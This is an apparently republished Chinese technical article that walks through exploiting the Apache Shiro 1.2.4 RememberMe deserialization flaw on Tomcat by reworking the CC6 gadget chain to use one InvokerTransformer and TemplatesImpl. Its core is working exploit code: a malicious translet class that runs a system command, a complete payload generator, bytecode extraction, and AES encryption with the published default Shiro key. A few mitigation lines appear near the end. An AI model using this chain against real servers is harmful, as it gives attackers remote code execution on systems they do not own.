当前位置: 首页 > news >正文

Shiro 1.2.4 反序列化实战:CC6链单Transformer改造,绕过Tomcat数组限制

Shiro 1.2.4 反序列化漏洞实战:CC6链单Transformer改造绕过Tomcat限制

在Java安全研究领域,Shiro框架的反序列化漏洞一直是热门话题。本文将深入探讨如何在Tomcat环境下,通过改造CC6利用链,仅使用单个InvokerTransformer实现命令执行,完美绕过Shiro对非Java原生数组类的加载限制。

1. 漏洞背景与核心挑战

Apache Shiro作为广泛使用的Java安全框架,其1.2.4及更早版本存在一个关键的安全缺陷——使用固定密钥进行RememberMe功能的Cookie加密。攻击者可以构造恶意序列化数据,在服务端反序列化时实现远程代码执行。

但实际渗透测试中会遇到一个棘手问题:当Shiro部署在Tomcat环境下时,传统的CC链利用方式会因数组类加载限制而失败。具体表现为:

java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;

这个错误的根源在于Shiro重写了ClassResolvingObjectInputStreamresolveClass方法。当反序列化流中包含非Java原生数组类时,Tomcat的类加载器无法正确加载这些类。

2. CC6链原理与限制分析

让我们先回顾标准CC6链的核心组件:

  1. TiedMapEntry:触发点,其hashCode()会调用getValue()
  2. LazyMap:通过get()方法触发transform
  3. ChainedTransformer:多Transformer串联执行

传统实现需要Transformer数组:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", ...), new InvokerTransformer("invoke", ...), new InvokerTransformer("exec", ...) };

问题正出在这个数组上——[Lorg.apache.commons.collections.Transformer;不是Java原生数组类型,导致Tomcat无法加载。

3. 单Transformer改造方案

3.1 关键突破点:LazyMap的get方法

观察LazyMap.get()的源码实现:

public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); // 关键调用 map.put(key, value); return value; } return map.get(key); }

这里的关键发现是:传入的key会直接作为参数传递给transform方法。这意味着我们可以完全控制transform方法的输入参数,不再需要ConstantTransformer来传递Runtime实例。

3.2 改造后的调用链

改造后的核心思路:

  1. 使用TemplatesImpl承载恶意字节码
  2. TemplatesImpl实例作为key传入
  3. 通过InvokerTransformer直接调用newTransformer()
graph TD A[TiedMapEntry.hashCode] --> B[TiedMapEntry.getValue] B --> C[LazyMap.get] C --> D[InvokerTransformer.transform] D --> E[TemplatesImpl.newTransformer] E --> F[恶意代码执行]

3.3 关键技术实现

3.3.1 恶意类构造

首先创建包含恶意代码的模板类:

public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec("calc"); } // 必须实现的抽象方法 public void transform(DOM document, SerializationHandler[] handlers) {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }
3.3.2 TemplatesImpl加载

通过反射设置关键字段:

TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl());
3.3.3 精简后的Transformer配置

仅需单个InvokerTransformer:

Transformer transformer = new InvokerTransformer("newTransformer", null, null);

4. 完整EXP实现

以下是经过Tomcat环境验证的完整利用代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import org.apache.commons.collections.keyvalue.*; import java.util.*; import java.lang.reflect.*; public class ShiroCC6SingleTransformer { public static void setField(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 构造TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl()); // 2. 配置单Transformer Transformer transformer = new InvokerTransformer("getClass", null, null); // 3. 构建LazyMap链 Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); // 4. 触发反序列化 Map expMap = new HashMap(); expMap.put(entry, "value"); // 5. 反射修改方法名 setField(transformer, "iMethodName", "newTransformer"); // 清理防止本地触发 lazyMap.clear(); // 序列化为字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(expMap); return baos.toByteArray(); } }

5. 实战注意事项

  1. 字节码处理:确保evilBytes是有效的恶意类字节码,可通过ClassPool获取:
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] evilBytes = clazz.toBytecode();
  1. Shiro加密:最终payload需要经过AES加密:
AesCipherService aes = new AesCipherService(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payload, key);
  1. 防御措施
    • 升级到Shiro 1.2.5及以上版本
    • 修改默认加密密钥
    • 禁用RememberMe功能

6. 技术对比与优势

特性传统CC6链本方案
Transformer数量多个(数组)单个
依赖数组类
Tomcat兼容性不兼容兼容
代码复杂度
可靠性受环境限制更稳定

这种改造方案不仅解决了Tomcat环境下的限制问题,还简化了利用链结构,提高了攻击的可靠性。对于安全研究人员而言,理解这种改造思路有助于更好地分析其他反序列化漏洞的利用可能性。

http://www.jsqmd.com/news/1151950/

相关文章:

  • 开源飞控APM避障功能介绍
  • 【私有化部署红线警告】:Claude不支持本地微调?ChatGPT企业版隐藏限制曝光——金融/医疗行业架构师已紧急切换方案
  • 我在CSDN踩过的10个技术坑:血泪经验总结
  • [Android] Npatch-免Root框架+可内置模块
  • PCIe热插拔机制技术
  • 重磅发布Portainer-Run上线:为 AI 生成应用打造企业级安全部署通道
  • RAG 评估实战指南:基于 RAGAS/ARES 的 3 大质量分数与 4 项核心能力测评
  • 基于51单片机紫外线强度检测系统 户外环境检测仪 嵌入式开发 31(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • 49.llama_index-文档加载(LLamaParse高精度文档解析)
  • 支持二次开发的国产AI Agent平台有哪些?企业级开发底座与工作流引擎横评
  • Hinge Loss 与 Cross-Entropy Loss 对比:5 个维度解析二分类任务中的选择策略
  • NeurIPS 2025 投稿规划:基于近3年25%录用率与5月DDL的3阶段时间表
  • ITU-T G.8273.2 边界时钟测试解决方案
  • Dell 服务器 BMC 报 PSU 冗余丢失完整排错方案,电源线与电源模块排查全流程
  • Shell-GPT(sgpt)—— Kali Linux 2026.2 中的 AI 命令行效率工具
  • 深圳职高学校校企合作
  • 006-目标检测指标解读-Precision-Recall-mAP50与mAP50-95
  • 量子计算:未来真的来了?
  • 联想威6 Pro-13IWL指纹修复:BIOS开启SGX与3款官方驱动安装指南
  • 农业系统职称考试好用的刷题app有哪些?
  • AMAT 0190-32401 通讯模块
  • 系统包管理器和语言级包管理器的区别,及其源配置
  • OpenAI元老约书亚·阿希亚姆离职,上市与重组下安全岗位责任待解
  • 2026年二本统计学专业学习数据分析的实用价值分析
  • gitee私有库不能保存不用于训练AI
  • AI网页信息提取实战:Page Agent原理、调优与工程化落地
  • 物联网卡、流量卡、SIM 卡有什么区别?企业采购前先搞清楚这几点
  • 终局判断:从ERP记录业务到AI Agent参与业务
  • Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析
  • 004 认识网络设备